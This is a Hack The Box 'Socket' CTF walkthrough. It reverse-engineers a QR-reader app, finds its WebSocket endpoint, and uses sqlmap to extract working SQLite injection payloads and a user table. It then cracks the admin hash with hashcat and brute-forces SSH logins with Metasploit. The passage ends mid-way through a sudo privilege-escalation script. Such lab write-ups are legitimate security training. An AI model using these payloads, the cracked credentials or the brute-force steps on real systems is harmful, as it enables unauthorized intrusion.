HTB Socket Walkthrough
Learn how a vulnerability in a WebSocket application was discovered and exploited using SQL injection.
And welcome back, my friends, to this relatively simple but very interesting BOX, with a small reverse engineering section that I love so much and that I hope you will, too. Also interesting is the part about privesc, in which ChatGPT, as has recently happened, had a small contribution. But let's not get lost in chatter, and let's get started.
The nmap scan:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-20 15:18 EDT
Nmap scan report for 10.10.11.206
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://qreader.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.39 seconds
OK. The usual portal seems to have an unusual domain for an HTB BOX. Let's add it in the /etc/hosts file and try to navigate it.
Wappalyzer identifies the technologies used in the portal, but at the moment, this information cannot help me that much.
The portal displays QRCode conversion and processing functions. There are also two versions of the system in a software format for windows and linux that can be downloaded and use4d from a local computer. It looks like my first investigation will be one of my favorite activities, a good reverse engineering session. But first, let's start the program to understand at least the basic operation.
The program is a user interface system. If we try the sample file supplied with the executable, it is possible to trace the text contained within the QRCode.
kavigihan
Let's immediately disassemble the application to understand if there is something hidden inside that can be useful. The program initialization block (you can reach it by clicking on the start function in the appropriate box) shows that the application main is started.
So let's move to main (always selecting the function from the appropriate box) and following the "jmp" to the specific address. We find ourselves in the heart of the application.
Looking at the flow itself, I understand that it could take me a long time just to understand what it does by reading the code (branches are enough), so I start debugging and follow a single flow, at least I'm sure I will quickly analyze the correct flow.
Going with the flow, I soon get to a function call that immediately displays the dialog. Strangely, the variable preceding it points to the executable I'm already debugging.
I restarted and proceeded with a new debug, this time by entering the function that started the app form. Apparently, an application forks.
We should have two processes of the same app.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ps -aux | grep qreader
in7rud3r 36498 5.7 0.0 2740 988 ? t 19:38 0:01 /home/in7rud3r/Downloads/app/qreader
in7rud3r 36548 2.3 0.9 962756 162472 ? Wl 19:38 0:00 /home/in7rud3r/Downloads/app/qreader
in7rud3r 36624 0.0 0.0 6304 2072 pts/5 S+ 19:38 0:00 grep --color=auto qreader
A block of code later, however, waits for the second thread to exit.
Since I can't do much in this instance, it will be better to start the app without debugging and stick to the process being started.
Once started, we check who is the father of whom. The ID of the process should suffice (the older one is the child), but we leave nothing to chance.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ pstree -p | grep qreader
| |-lightdm(921)-+-xfce4-session(955)-+-Thunar(1084)-+-qreader(38483)---qreader(38492)-+-{qreader}(38494)
| | | | | |-{qreader}(38495)
| | | | | |-{qreader}(38496)
| | | | | |-{qreader}(38497)
| | | | | |-{qreader}(38498)
| | | | | `-{qreader}(38499)
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ ps -aux | grep qreader
in7rud3r 38483 2.4 0.0 2740 980 ? S 19:45 0:01 /home/in7rud3r/Downloads/app/qreader
in7rud3r 38492 0.5 0.9 962792 162492 ? Sl 19:45 0:00 /home/in7rud3r/Downloads/app/qreader
in7rud3r 38812 0.0 0.0 6304 2096 pts/5 R+ 19:46 0:00 grep --color=auto qreader
OK. The opening and writing functions should use some imported standard IO functions, but I can't find anything in the import section. I should find the button handles to retrieve the image encoding and decoding functions. Then there are the two function versions that update in the "about" menu, which return a connection error message. Let's try to find the error strings to trace the calls it tries to make.
The strings are there, but I can't debug them, and after a few attempts to add a breakpoint that doesn't activate. I decided on a more theoretical approach. The error message is clearly an indication of a bad network connection, so I'm aiming to check portions of code in which network features are exploited. After a few tries, I identified the "socket" function. For a change, I use a slightly less user-friendly tool, gdb.
I started the application and identifed the process that is being duplicated.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Downloads/app]
└─$ pstree -ap | grep qreader
| | `-qreader,10054
| | `-qreader,10059
| | |-{qreader},10060
| | |-{qreader},10061
| | |-{qreader},10062
| | |-{qreader},10063
| | |-{qreader},10064
| | `-{qreader},10065
| | |-grep,10736 --color=auto qreader
Let's attach it the process via gdb.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Downloads/app]
└─$ sudo gdb --pid 10059
GNU gdb (Debian 13.2-1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 10059
[New LWP 10060]
[New LWP 10061]
[New LWP 10062]
[New LWP 10063]
[New LWP 10064]
[New LWP 10065]
warning: .dynamic section for "/lib/x86_64-linux-gnu/libelf.so.1" is not at the expected address (wrong library or version mismatch?)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007fed5b78dfff in __GI___poll (fds=0x1e56f90, nfds=5, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29
29 ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
(gdb)
I put a breakpoint on the "socket" function and let the program run.
(gdb) b socket
Breakpoint 1 at 0x7fed4acb2d60 (3 locations)
(gdb) c
Continuing.
At this point, let's trigger the connection event on the interface through one of the two menu items and see if something is activated in the debugger.
[New Thread 0x7fed317fe6c0 (LWP 13226)]
[Switching to Thread 0x7fed317fe6c0 (LWP 13226)]
Thread 8 "qreader" hit Breakpoint 1.3, __GI_socket () at ../sysdeps/unix/syscall-template.S:120
120 ../sysdeps/unix/syscall-template.S: No such file or directory.
Perfect. The break has been activated. Now, we can investigate the various calls that follow one another proceeding step by step. The new socket initialization function doesn't carry much additional information, especially by displaying the parameters that are passed to the function.
(gdb) info args
No arguments.
Proceeding step by step (command "s"), we will finally arrive at the "open_socket" call, which will start showing us some more parameters.
(gdb) s
[New Thread 0x7fed30ffd6c0 (LWP 15775)]
122 in ../sysdeps/unix/syscall-template.S
[...]
open_socket (type=type@entry=GETFDHST, key=key@entry=0x7fed5b82bb87 "hosts", keylen=keylen@entry=6) at ./nscd/nscd_helper.c:172
172 ./nscd/nscd_helper.c: No such file or directory.
(gdb) info args
type = GETFDHST
key = 0x7fed5b82bb87 "hosts"
keylen = 6
This will reappear after performing a few more steps, and this time with some additional information.
0x00007fed5b7dd739 in open_socket (type=type@entry=GETAI, key=key@entry=0x7fed403e3b30 "ws.qreader.htb", keylen=keylen@entry=15)
at ./nscd/nscd_helper.c:171
171 in ./nscd/nscd_helper.c
(gdb) info args
type = GETAI
key = 0x7fed403e3b30 "ws.qreader.htb"
keylen = 15
Another domain that if I don't put it in my /etc/hosts file, I will never reach it. Let's add it and see what happens in the application.
Bingo, once you enter the domain, the calls start going through.
I then started packet sniffing on my network with wireshark.
After quickly analyzing the packets, we found that after a quick sync and ack, the client made the real call, and we also found a lot of interesting information.
OK. Pay attention now. To capture packets and be able to edit them, I need burpsuite. To make the program, I used the burpsuite proxy. I tried with environment variables and so on, but the process fork probably interfered with the environment variables. I then bypassed the problem by performing these simple steps:
- In the /etc/hosts file, I set my machine to respond to the ws.qreader.htb domain
- The call is made on port 5789, so I set up a new proxy on burpsuite to answer local address 127.0.0.1 on port 5789 (this way, calls are made directly to burpsuite)
- Always in the proxy, I set the redirection of any call received at the address 10.10.11.206 on port 5789.
In this way, I can check all the calls made. And in fact:
Now, I can take a closer look at the calls. I don't know exactly how to perform a websocket attack, so I take a quick peek around and through HackTricks (now one of the penetration testers must-have tools)
This is an interesting git repository.
Let's take some time to understand how it works and then try it.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/attack/git/STEWS/vuln-detect]
└─$ python3 STEWS-vuln-detect.py -u ws.qreader.htb:5789 -n -1
Testing ws://ws.qreader.htb:5789
>>>Note: ws://ws.qreader.htb:5789 allowed http or https for origin
>>>Note: ws://ws.qreader.htb:5789 allowed null origin
>>>Note: ws://ws.qreader.htb:5789 allowed unusual char (possible parse error)
>>>VANILLA CSWSH DETECTED: ws://ws.qreader.htb:5789 likely vulnerable to vanilla CSWSH (any origin)
====Full list of vulnerable URLs===
['ws://ws.qreader.htb:5789']
['>>>VANILLA CSWSH DETECTED: ws://ws.qreader.htb:5789 likely vulnerable to vanilla CSWSH (any origin)']
I don't believe it. It was too simple. Let's investigate this vulnerability and how it will be exploited.
I have tried various ways to perform the exploit but without success. Finally, peeking in the HTB forum, I understand that the exploit is of type SQLi. Bad story, also in this case activating the sqlmap on websocket protocol will not be easy. Luckily, there is a script that can help me.
After a quick look at the code, I only replaced the payload to avoid a double quote breaking the JSON string (as recommended in the comment).
message = unquote(payload).replace('"','\\"') # replacing " with ' to avoid breaking JSON structure
And fire to the dust!
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.206 - Socket (lin)/attack/py]
└─$ sqlmap -u 'http://localhost:8081/version?version=0.0.2' --batch --level 5 --risk 3 --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:14:57 /2023-06-25/
[21:14:57] [INFO] testing connection to the target URL
[21:14:57] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.5')
[21:14:57] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
[21:14:57] [INFO] testing if the target URL content is stable
[21:14:58] [INFO] target URL content is stable
[21:14:58] [INFO] testing if GET parameter 'version' is dynamic
[21:14:58] [INFO] GET parameter 'version' appears to be dynamic
[21:14:58] [WARNING] heuristic (basic) test shows that GET parameter 'version' might not be injectable
[21:14:59] [INFO] testing for SQL injection on GET parameter 'version'
[21:14:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:15:02] [INFO] GET parameter 'version' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[21:15:11] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite'
it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[21:15:11] [INFO] testing 'Generic inline queries'
[21:15:11] [INFO] testing 'SQLite inline queries'
[21:15:12] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[21:15:12] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[21:15:13] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[21:15:20] [INFO] GET parameter 'version' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
[21:15:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:15:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:15:20] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:15:22] [INFO] target URL appears to have 4 columns in query
[21:15:23] [INFO] GET parameter 'version' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'version' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: version (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: version=0.0.2" AND 1458=1458-- gddH
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: version=0.0.2" AND 6925=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- MMbe
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: version=0.0.2" UNION ALL SELECT CHAR(113,98,98,106,113)||CHAR(97,100,107,108,90,74,75,68,112,104,76,90,84,85,119,84,117,117,89,109,103,112,74,72,116,88,74,72,72,80,99,122,110,107,67,122,122,72,115,81)||CHAR(113,98,113,98,113),NULL,NULL,NULL-- VJHs
---
[21:15:23] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[21:15:23] [WARNING] on SQLite it is not possible to enumerate databases (use only '--tables')
[21:15:23] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/localhost'
[21:15:23] [WARNING] your sqlmap version is outdated
[*] ending @ 21:15:23 /2023-06-25/
From here everything should be simpler, let's list the tables.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.206 - Socket (lin)/attack/py]
└─$ sqlmap -u 'http://localhost:8081/version?version=0.0.2' --batch --level 5 --risk 3 --tables -DB SQLite
___
__H__
___ ___[']_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:21:56 /2023-06-25/
[21:21:56] [INFO] resuming back-end DBMS 'sqlite'
[21:21:56] [INFO] testing connection to the target URL
[21:21:57] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.5')
[21:21:57] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: version (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: version=0.0.2" AND 1458=1458-- gddH
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: version=0.0.2" AND 6925=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- MMbe
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: version=0.0.2" UNION ALL SELECT CHAR(113,98,98,106,113)||CHAR(97,100,107,108,90,74,75,68,112,104,76,90,84,85,119,84,117,117,89,109,103,112,74,72,116,88,74,72,72,80,99,122,110,107,67,122,122,72,115,81)||CHAR(113,98,113,98,113),NULL,NULL,NULL-- VJHs
---
[21:21:57] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[21:21:57] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[6 tables]
+-----------------+
| answers |
| info |
| reports |
| sqlite_sequence |
| users |
| versions |
+-----------------+
[21:21:57] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/localhost'
[21:21:57] [WARNING] your sqlmap version is outdated
[*] ending @ 21:21:57 /2023-06-25/
And let's take a look inside the users table.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.206 - Socket (lin)/attack/py]
└─$ sqlmap -u 'http://localhost:8081/version?version=0.0.2' --dump -D SQLite -T users
___
__H__
___ ___[']_____ ___ ___ {1.6.7#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:28:20 /2023-06-25/
[21:28:21] [INFO] resuming back-end DBMS 'sqlite'
[21:28:21] [INFO] testing connection to the target URL
[21:28:21] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.5')
[21:28:21] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: version (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: version=0.0.2" AND 1458=1458-- gddH
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: version=0.0.2" AND 6925=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- MMbe
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: version=0.0.2" UNION ALL SELECT CHAR(113,98,98,106,113)||CHAR(97,100,107,108,90,74,75,68,112,104,76,90,84,85,119,84,117,117,89,109,103,112,74,72,116,88,74,72,72,80,99,122,110,107,67,122,122,72,115,81)||CHAR(113,98,113,98,113),NULL,NULL,NULL-- VJHs
---
[21:28:21] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[21:28:21] [INFO] fetching columns for table 'users'
[21:28:21] [INFO] fetching entries for table 'users'
[21:28:21] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
[21:28:36] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[21:28:42] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[21:28:46] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[21:28:46] [INFO] starting 4 processes
[21:28:55] [WARNING] no clear password(s) found
Database: <current>
Table: users
[1 entry]
+----+-------+----------------------------------+----------+
| id | role | password | username |
+----+-------+----------------------------------+----------+
| 1 | admin | 0c090c365fa0559b151a43e0fea39710 | admin |
+----+-------+----------------------------------+----------+
[21:28:55] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/home/in7rud3r/.local/share/sqlmap/output/localhost/dump/SQLite_masterdb/users.csv'
[21:28:55] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/localhost'
[21:28:55] [WARNING] your sqlmap version is outdated
[*] ending @ 21:28:55 /2023-06-25/
Nothing simpler (if the password is one of the rockyou dictionary). Save just the string to a file, and hashcat will do the rest.
┌──(in7rud3r㉿in7rud3r-kali)-[/tmp/hc]
└─$ hashcat -a 0 -m 0 -O pwd_only.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting
[...]
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
[...]
0c090c365fa0559b151a43e0fea39710:denjanjade122566
[...]
Started: Wed Jun 28 22:43:43 2023
Stopped: Wed Jun 28 22:44:04 2023
Well, I have a password. What about the account? Something "kavigihan" in it? Let's try!
┌──(in7rud3r㉿in7rud3r-kali)-[~/Downloads/app]
└─$ ssh [email protected]
The authenticity of host '10.10.11.206 (10.10.11.206)' can't be established.
ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.206' (ED25519) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
So, let's take a look at the other tables.
Table: reports
[2 entries]
+----+---------------------------+---------------------------------------------------------------------------------------------------------------------+---------------+---------------+
| id | subject | description | reported_date | reporter_name |
+----+---------------------------+---------------------------------------------------------------------------------------------------------------------+---------------+---------------+
| 1 | Accept JPEG files | Is there a way to convert JPEG images with this tool? Or should I convert my JPEG to PNG and then use it? | 13/08/2022 | Jason |
| 2 | Converting non-ascii text | When I try to embed non-ascii text, it always gives me an error. It would be nice if you could take a look at this. | 22/09/2022 | Mike |
+----+---------------------------+---------------------------------------------------------------------------------------------------------------------+---------------+---------------+
The reports table went relatively well, it was a bit longer the process for the answers table. Luckily, it's only two records, worth the wait!
┌──(in7rud3r㉿in7rud3r-kali)-[~/Downloads/app]
└─$ sqlmap -u 'http://localhost:8081/version?version=0.0.2' --dump -D SQLite -T answers
___
__H__
___ ___[.]_____ ___ ___ {1.6.7#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 23:12:56 /2023-06-28/
[23:12:56] [INFO] resuming back-end DBMS 'sqlite'
[23:12:56] [INFO] testing connection to the target URL
[23:12:57] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.5')
[23:12:57] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: version (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: version=0.0.2" AND 1458=1458-- gddH
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: version=0.0.2" AND 6925=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- MMbe
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: version=0.0.2" UNION ALL SELECT CHAR(113,98,98,106,113)||CHAR(97,100,107,108,90,74,75,68,112,104,76,90,84,85,119,84,117,117,89,109,103,112,74,72,116,88,74,72,72,80,99,122,110,107,67,122,122,72,115,81)||CHAR(113,98,113,98,113),NULL,NULL,NULL-- VJHs
---
[23:12:57] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[23:12:57] [INFO] fetching columns for table 'answers'
[23:12:57] [INFO] fetching entries for table 'answers'
[23:12:59] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[23:12:59] [INFO] fetching number of entries for table 'answers' in database 'SQLite_masterdb'
[23:12:59] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:12:59] [INFO] retrieved: 2
[23:13:02] [INFO] retrieved:
[23:13:03] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)
[23:13:08] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[23:13:08] [INFO] retrieved: Hello Json, As if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version. Thomas Keller
[23:18:12] [INFO] retrieved: admin
[23:18:24] [INFO] retrieved: 17/08/2022
[23:18:50] [INFO] retrieved: 1
[23:18:54] [INFO] retrieved:
[23:18:55] [INFO] retrieved:
[23:18:56] [INFO] retrieved: PENDING
[23:19:14] [INFO] retrieved:
[23:19:15] [INFO] retrieved:
[23:19:16] [INFO] retrieved: Hello Mike, We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now! Thomas Keller
[23:25:36] [INFO] retrieved: admin
[23:25:48] [INFO] retrieved: 25/09/2022
[23:26:14] [INFO] retrieved: 2
[23:26:17] [INFO] retrieved:
[23:26:18] [INFO] retrieved:
[23:26:19] [INFO] retrieved: PENDING
Database: <current>
Table: answers
[2 entries]
+----+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+---------+-------------+---------------+
| id | report_id | answer | status | FOREIGN | answered_by | answered_date |
+----+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+---------+-------------+---------------+
| 1 | <blank> | Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller | PENDING | <blank> | admin | 17/08/2022 |
| 2 | <blank> | Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller | PENDING | <blank> | admin | 25/09/2022 |
+----+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+---------+-------------+---------------+
[23:26:37] [INFO] table 'SQLite_masterdb.answers' dumped to CSV file '/home/in7rud3r/.local/share/sqlmap/output/localhost/dump/SQLite_masterdb/answers.csv'
[23:26:37] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/localhost'
[23:26:37] [WARNING] your sqlmap version is outdated
[*] ending @ 23:26:37 /2023-06-28/
It seems that the DB collects user reports and allows support users to keep track of the answers given to requests received. Interestingly, there was a user Thomas, with the administrator role. The basic idea is to generate a list of accounts based on the possible combinations of the name and surname of this user, it will be enough to find a suitable tool to generate a dictionary with which to perform a brute-forcing.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/_10.10.11.206 - Socket (lin)/attack/git/usernamer]
└─$ python2 usernamer.py -n "Thomas Keller" -l > accountlistgenerated.txt
And now, let's start to brute force using metasploit.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/_10.10.11.206 - Socket (lin)/attack/git/usernamer]
└─$ msfconsole
[...]
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, use
r&realm)
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
ing-metasploit.html
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attempts
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 10.10.11.206
rhosts => 10.10.11.206
msf6 auxiliary(scanner/ssh/ssh_login) > set password denjanjade122566
password => denjanjade122566
msf6 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop_on_success => true
msf6 auxiliary(scanner/ssh/ssh_login) > set user_file ./accountlistgenerated.txt
user_file => ./accountlistgenerated.txt
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[*] 10.10.11.206:22 - Starting bruteforce
[+] 10.10.11.206:22 - Success: 'tkeller:denjanjade122566' 'uid=1001(tkeller) gid=1001(tkeller) groups=1001(tkeller),1002(shared) Linux socket 5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (10.10.14.205:42467 -> 10.10.11.206:22) at 2023-06-29 00:07:56 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Et voilà... the first flag.
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-67-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jun 29 07:55:10 AM UTC 2023
System load: 0.0
Usage of /: 54.3% of 8.51GB
Memory usage: 12%
Swap usage: 0%
Processes: 222
Users logged in: 0
IPv4 address for eth0: 10.10.11.206
IPv6 address for eth0: dead:beef::250:56ff:feb9:898d
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
tkeller@socket:~$ cat user.txt
7******************************6
For the clue to the privesc, we don't have to go too far either.
tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
tkeller@socket:~$ cat /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
